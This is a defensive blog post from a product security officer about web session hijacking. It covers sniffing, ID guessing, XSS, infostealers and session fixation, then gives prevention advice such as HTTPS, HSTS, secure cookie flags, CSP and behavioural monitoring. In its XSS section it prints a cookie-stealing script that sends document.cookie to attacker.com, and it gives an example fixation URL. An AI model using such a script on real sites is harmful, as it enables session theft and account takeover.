What all Developers Need to Know about: Session Hijacking prevention

Posted by Martijn van Lambalgen on May 28, 2025

Recently, the topic of session hijacking prevention came up in questions in the TOPdesk Security community. I thought it was a good moment to triple check our security practices and research any new insights on prevention from the global appsec community. To let everyone benefit, here’s an overview of everything I think all developers need to know about Session Hijacking.

What is Session Hijacking?

Let’s start by defining what session hijacking is. A definition I like because it’s simple, but accurate:

The malicious act of taking control of a user’s session.

Sessions exist in multiple layers of the OSI model, like TCP sessions in the Transportation layer or web sessions in the Application layer. For this post I’ll focus on web sessions only, because the topic is comprehesive enough as it is. Also realize that session hijacking encompasses a whole range of attack methods, and similar amounts of prevention guidelines. While more and more prevention techniques become available, the act of taking over a user’s web sessions remains a desired goal for many cybercriminals, and therefore prevalence remains high.

How Session Hijacking works

The act of hijacking a user’s session consists of 3 steps

  1. Stealing the session ID: This is the first and most important step
  2. Gaining access: using the session ID in e.g. a session cookie and verifying that the system grants you access with it
  3. Exploiting access: the cybercriminal can now do everything that the user can within this session, like downloading sensitive data, performing all kinds of privileged functions or even gaining access to other systems via SSO.

Because the damage really depends on the privileges of the user, let’s focus on the first step. Stealing the session ID is the most important step. In most cases, whenever the cybercriminal succeeds here, damage is guaranteed. This is the step we need to understand to allow us to best protect the session.

Stealing the session ID

There are multiple types of Session Hijacking, and even Web Session Hijacking can be broken down in multiple categories. They all share the same goal of course: taking control of another user’s session.

a break-down of the different categories and subcategories of web session hijacking

To hijack a user’s web session, a cybercriminal basically has two options:

  1. Try to steal the ID of an existing session
  2. Setup a new session and lure a victim into using that one.

Session ID Hijacking

In session management, the session ID ‘travels’ through different parts of the system. This means it can also leak in various places.

Network Traffic sniffing

First of all, whenever the session ID is in transit (e.g. from client to server, but also between internal subsystems on the server itself), it can be sniffed. Anyone who has access to the connection can try to make sense of the sniffed bits and bytes. With an unecrypted connection this is relatively easy, but it is also possible if the TLS connection has an insecure configuration. Furthermore, wireless connections can be sniffed from the air and cables can be dug up outside the office. Gaining access to someone else’s session can be very lucrative for cybercriminals. You can imagine that much effort is going into researching every theoretical opportunity and exploiting all vulnerabilities.

Session ID Guessing

Besides analyzing network traffic for session IDs, they can also just be ‘guessed’. The easy way is to just brute force them, but with a bit more logic, patterns may be found in session ID generation, so the next one can be predicted or calculated.

XSS

If there are XSS vulnerabilities in a website, cybercriminals can sometimes just read the session cookie using script, after which they send the session ID back to their own server.

<script>
var i = new Image; i.src=http://attacker.com/steal?cookie=+document.cookie;
</script>

Nowadays session cookies are usually well protected against being read from script, and while even more rare, it’s good to know that even then there are alternative approaches to read the contents. E.g. the HTTP TRACE method, which is designed for debugging purposes, just echoes back the HTTP request, indirectly revealing all headers including the cookies. While this should never be active on a Production server, it shows that for almost any protective measure, there’s a way around it.

Malware

Finally, whenever cybercriminals manage to install malware on your computer or in your browser, they have even more power to steal what’s on your computer, including session cookies. E.g. infostealers are a form of malware created with the single purpose of exfiltrating sensitive information, including cookies.

Session Fixation

The last technique for hijacking a session is to create a new session, and then luring a victim into using that session and to authenticate it. For this technique the website needs to allow you to set or ‘fixate’ another person’s session ID, for example via a URL parameter.

In this scenario, a cybercriminal would first need to create a new session and check the session id from the session cookie. Let’s say this is the ID: 1A732BBC41A6C2D. If a website allows you to select a specific session via a URL parameter, the cybercriminal could create this URL: http://vulnerable.example.com/?SESSIONID=1A732BBC41A6C2D. He sends it to a victim and tries to trick him or her into clicking the link. If the victim logs in, the cybercriminal also has access to the authenticated session and can start causing havoc.

Preventing Session Hijacking

It is amazing to see how many ways there are for a cybercriminal to hijack sessions. Protecting the session ID during every step of the process is therefore essential. The more we can restrict them or limit where they go, the better. This starts with the generation of session IDs, but after that it’s about transfer and storage. Assuming that in the end cybercriminals will find a way to steal your session IDs, the last thing you can do is to analyze how session IDs are used to recognize abuse. Let’s go through the most important measures:

HTTPS everywhere!

To protect session IDs in transit, you need to encrypt all your connections, especially between the end user and your data center, but preferably also within the data center itself. Use a strong and secure configuration for your HTTPS setup to avoid downgrade attacks like POODLE, FREAK or Logjam. Activate HSTS to prevent the first communication with your website to be unencrypted.

Strong Session Management

Strong session management starts with the generation of random and unpredictable IDs. Note that for this the regular ‘random’ functions that most programming languages provide are inadequate, because their randomness is still too predictable. You really need a strong cryptographic algorithm to be safe.

Furthermore, sessions needs to have appropriate expiration periods. They can also be reissued regularly, potentially even after every request, but at least after reauthentication of the session. To protect them during transit, they should only be transmitted in a cookie and only via encrypted connections. Use the Secure flag on the cookie to achieve this. To prevent XSS attacks on the cookie, make them unreadable via script by setting the HTTPOnly flag and verifying that the HTTP TRACE method is disabled. To further restrict transfer of the cookie to different domains, also set the SameSite flag.

XSS prevention

While the HTTPOnly flag already prevents regular scripts from reading the session cookie, it’s wise to take extra care with XSS. You never know when a vulnerability is found that allows installation of malware. Use a strong CSP configuration and consider implementing Subresource Integrity (SRI) as well.

Behavioral analysis

More and more often, the strategy to prevent session hijacking should not only focus on preventing the session ID to be stolen, but also to monitor and recognize abuse, so that even after it has been stolen, the malicious act can be stopped. For this purpose, behavioral analysis can be used. The rise of AI systems will only incentivize this trend. SIEMs, IDSs or IPSs can analyze traffic or log files, often in real-time, and recognize unexpected behaviors. When a user is working from the office, and suddenly his session is used in a request that’s coming from the other side of the world, this should trigger alerts. You can automatically block these kinds of requests or take manual action. Note that this technique is not aiming to protect the session ID from step #1, but preventing abuse in later steps.

Authentication of transposition-encrypted user information (ATEUI)

A few years ago, a research manuscript was published that suggests to link the session to other identifiers that are unique to the device on which the real user works, like the IP-address, a BIOS serial number or OS account information. By passing this extra data along (encrypted) with the session cookie and validating it on the server, it’s easier to recognize changes and taking action before a stolen session ID can be abused.

While these ideas are not new, I haven’t seen it in use anywhere yet. Also the system becomes more complex, there are consequences for performance and working on-the-go would be hard. However, there will also be situations where this this approach would indeed work, so include it in your considerations.

Incidental reauthentication

Apart from the session expiration, you may incidentally want the user to reauthenticate. Require reauthentication whenever you need a little ensurance that the user is still the same user, e.g. when a privileged function is being executed. The same can be applied whenever behavioral analysis or ATEUI indicate something has changed on the user’s end. To avoid annoyance, be sure to explain why you require this from the user.

Advice to users

Users can also do a lot to prevent their sessions from being hijacked. Educating or advising them can also further reduce the risk.

  • Activate Multi-factor authentication, especially when combined with incidental reauthentication.
  • Avoid public WiFi
  • Actively log out of websites as soon as you’re done, especially on shared devices
  • Be cautious of clicking links and be aware of phishing attempts
  • Keep your software up-to-date

Conclusion

It is very important to protect sessions from being hijacked, and because there are so many moving parts in the process, the main advice is to keep things simple. Use unique and unpredictable session IDs, restrict the whereabouts of your session IDs as much as possible and do everything you can to prevent them from being transferred or stored in an insecure way. If you combine this with good monitoring, behavioral analysis and you advise your users on secure practices, then you’re good to go. Good luck!

Martijn van Lambalgen

Product Security Officer at TOPdesk, interested in Software Architecture, Continuous Delivery and Application Security. Also wine drinker, good food lover, amateur baker and pleasure-seeker in general

More Posts